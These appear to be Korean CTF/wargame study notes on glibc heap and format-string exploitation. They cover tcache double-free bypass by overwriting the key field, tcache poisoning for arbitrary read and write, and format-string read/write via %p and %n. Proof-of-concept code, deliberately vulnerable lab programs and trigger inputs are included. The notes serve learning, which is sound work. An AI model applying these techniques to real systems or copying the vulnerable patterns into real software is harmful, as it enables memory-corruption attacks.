arena객체가 레이스 컨디션을 막기 위해 락 기능을 제공하는데 이로 인해 병목 현상이 발생할 수 있다. 이를 보완하기 위해 추가된 것이 tcache 이다.

tcache의 경우 각 쓰레드에 독립적으로 할당되는 캐시 저장소를 지칭하기에 레이스컨디션을 방어할 수 있다. arena의 bin에 접근하기 전에 tcache를 먼저 사용하기에 병목 현상 완화 가능하다.

Double Free

말 그대로 free로 해제한 청크를 free로 다시 해제하는 방법을 통해 나타나는 취약점으로 fd는 자신보다 이후에 해제된 청크를, bk는 이전에 해제된 청크를 나타내는데, 어떤 청크가 free list에 중복해서 포함된다면, 첫 번째 재할당에서 fdbk를 조작하여 free list에 임의 주소를 포함시켜 악용한다.

Tcache Duplication

Double Free Bug 보호 기법을 우회하는 방법이다.

보호기법

tcache_entry는 해제된 tcache 청크들이 갖는 구조입니다. 일반 청크의 fdnext로 대체되고, LIFO 형태로 사용되므로 bk에 대응되는 값은 없다. 또한, double free를 탐지하기 위해 key포인터가 tcache_entry에 추가되었다.

typedef struct tcache_entry {
  struct tcache_entry *next;
+ /* This field exists to detect double frees.  */
+ struct tcache_perthread_struct *key;
} tcache_entry;

우회

  1. 0x555555000050 주소를 할당 받음
  2. 0x555555000050 : size, 0x555555000060 : data 임
  3. 해제 시 0x555555000060 주소에 { next = 0x0, key = 0x555555000010 } 로 되어 있음
  4. 0x555555000010 해당 값 조회 시 { counts = "\000\000\000\000\001", '\000' <repeats 58 times>, entries = {0x0, 0x0, 0x0, 0x0, 0x555555756260, 0x0 <repeats 59 times>} }값이 들어가 있음
  5. 그 후 초기화 되지 않은 변수(0x555555000060)에 0x16 이상의 데이터 입력 시 next를 넘어 key 값이 변조 됨.
  6. Double Free 보호기법 우회
// Name: tcache_dup.c
// Compile: gcc -o tcache_dup tcache_dup.c

#include <stdio.h>
#include <stdlib.h>

int main() {
  void *chunk = malloc(0x20);
  printf("Chunk to be double-freed: %p\n", chunk);

  free(chunk);

  *(char *)(chunk + 8) = 0xff;  // manipulate chunk->key Key값을 변조하여 우회
  free(chunk);                  // free chunk in twice

  printf("First allocation: %p\n", malloc(0x20));
  printf("Second allocation: %p\n", malloc(0x20));

  return 0;
}

메모리로 보기

// Name: double_free.c
// Compile: gcc -o double_free double_free.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include "prob.h"

typedef struct {
    char content[0x10];
} Note;

Note *notes[4];

int main(void) {

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    char cmd[2] = {0, };
    int idx = 0;
    while(1) {
        printf("cmd > "); scanf("%1s", cmd);
        printf("idx > "); scanf("%d", &idx);

        if(idx < 0 || idx >= 4) {
            puts("Invalid index");
            continue;
        }

        switch(cmd[0]) {
            case '1':
                notes[idx] = (Note *)malloc(sizeof(Note));
                break;
            case '2':
                free(notes[idx]);
                break;
            case '3':
                scanf("%15s", notes[idx]->content);
                break;
            case '4':
                printf("%s\n", notes[idx]->content);
                break;
            default:
                break;
        }
    }
}
1

note[0] 에 메모리 할당 후 해제

cmd > 1
idx > 0
cmd > 2
idx > 0

2

해제됐지만 초기화는 안된 note[0]에 9바이트만큼 입력 후 한번 더 Free 시 더블 Free 됨.

cmd > 3
idx > 0
> AAAAAAAAA
cmd > 2
idx > 0

Tcache Poisoning

Tcache poisoning은 중복으로 연결된 청크를 재할당하면, 그 청크가 해제된 청크인 동시에, 할당된 청크라는 특징을 가진다. 이러한 중첩 상태를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있으며, 그 청크를 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있다.

  1. 임의 주소 읽기를 통해 libc leak 수행
  2. 임의 주소 쓰기를 통해 원 가젯 주소 덮어쓰기

Format String

함수 이름이 ‘f’로 끝난다면 포맷 스트링을 처리하는 함수 일 수 있다.

%[parameter][flags][width][.precision][length][specifier]

Specifier

형식 지정자 설명
d 부호 있는 10진수 정수
u 부호 없는 10진수 정수
s 문자열
x 부호 없는 16진수 정수
n 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이를 저장.
값을 출력하지 않음.
p void형 포인터

Width 최소 너비를 지정합니다. 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자(' ')를 문자열 앞에 패딩 해준다.

너비 지정자 설명
정수 정수의 값만큼을 최소 너비로 지정합니다.
* 인자를 두 개 사용합니다. 첫 인자의 값만큼을 최소 너비로 지정해 두 번째 인자를 출력합니다.

Length 출력하고자 하는 변수의 크기를 지정하며, d, n 등의 형식 지정자 앞에 쓰이며, 정수 값을 출력하고 싶으나 변수가 int 형이 아닌 경우에 주로 사용한다.

길이 지정자 설명
hh 해당 인자가 char 크기임을 나타냅니다.
h 해당 인자가 short int 크기임을 나타냅니다.
l 해당 인자가 long int 크기임을 나타냅니다.
ll 해당 인자가 long long int 크기임을 나타냅니다.

Parameter 참조할 인자의 인덱스를 지정하며, 이 필드는 %[파라미터 값]$d와 같이 값 뒤에 $ 문자를 붙여 표기

printf("%2$d, %1$d\n", 2, 1); // "1, 2"

FSB (Format String Bug)

%p/%p/%p/%p/%p/%p/%p/%p 입력 시 x86-64의 함수 호출 규약에 따라 포맷 스트링을 담고 있는 rdi의 다음 인자인 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10] 이 출력된다.

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];
  
  printf("Format: ");
  scanf("%s", format);
  printf(format);
  
  return 0;
}

FSB-Read

printf()에 들어간 포맷 스트링의 1~5번째 인자는 각각 rsi, rdx, rcx, r8, r9에 적혀있는 값을 사용한다. 그리고 순차적으로 rsp, rsp + 8 … 위치를 가져온다

// Name: fsb-easy.c
// Compile: gcc -o fsb-easy fsb-easy.c
#include <stdio.h>
#include <unistd.h>

#include "prob.h"

int main(void) {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    uint64_t flag = get_random();
    char buf[32] = {0, };
    
    printf("input: ");
    read(0, buf, 31);
    printf(buf);
}

flag = 0x7fff0000ffb8 buf = 0x7fff0000ffc0 buf - flag = 0x8 따라서 rsp + 8 위치를 가져오면 되므로 7번째 출력 값이 flag 값이다.

FSB-Write

%n은 지금까지 출력된 문자의 개수를 해당 변수에 작성하므로 printf("%10c%n", a, b);를 실행하면 b0xa가 적힌다.

// Name: fsb-easy.c
// Compile: gcc -o fsb-easy fsb-easy.c
#include <stdio.h>
#include <unistd.h>

#include "prob.h"

int main(void) {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);

    uint64_t auth = get_random();
    char buf[64] = {0, };
    
    printf("input: ");
    read(0, buf, 63);
    printf(buf);
}

%64c 를 통해 64글자 출력 %[offset]$n 으로 사용할 변수의 위치 지정

auth 주소를 스택에 적고 해당 주소를 변수로 하도록 “%n”에 전달하면 임의의 주소에 원하는 값을 작성할 수 있다. 이 때 “%n”은 이전까지 출력된 문자의 개수를 해당 메모리에 작성하므로 “%64c”에 의해 0x40개를 작성한다.  $n 뒤에 적은 AAAAAAA는 단순히 8 bytes의 스택 얼라인을 맞춰주기 위한 더미 문자이다.

Util

Little Endian 변환 코드

import binascii

def hex_lsb(hex_val):
    hex_arr = []
    hex_str_lsb = ''.join([hex_val[i-2:i] for i in range(len(hex_val), 0, -2)])

    if len(hex_str_lsb)>16:
        for i in range(len(hex_str_lsb), 0, -16):
            chunk = hex_str_lsb[max(i-16, 0):i]
            hex_arr.append(f"0x{chunk}")
    else:
        hex_arr.append(hex_str_lsb)

    return hex_arr[::-1]

hex = b"/tmp/flag"
hex = str(binascii.hexlify(hex))
hex = hex[2:len(hex)-1]

print(hex_lsb(hex))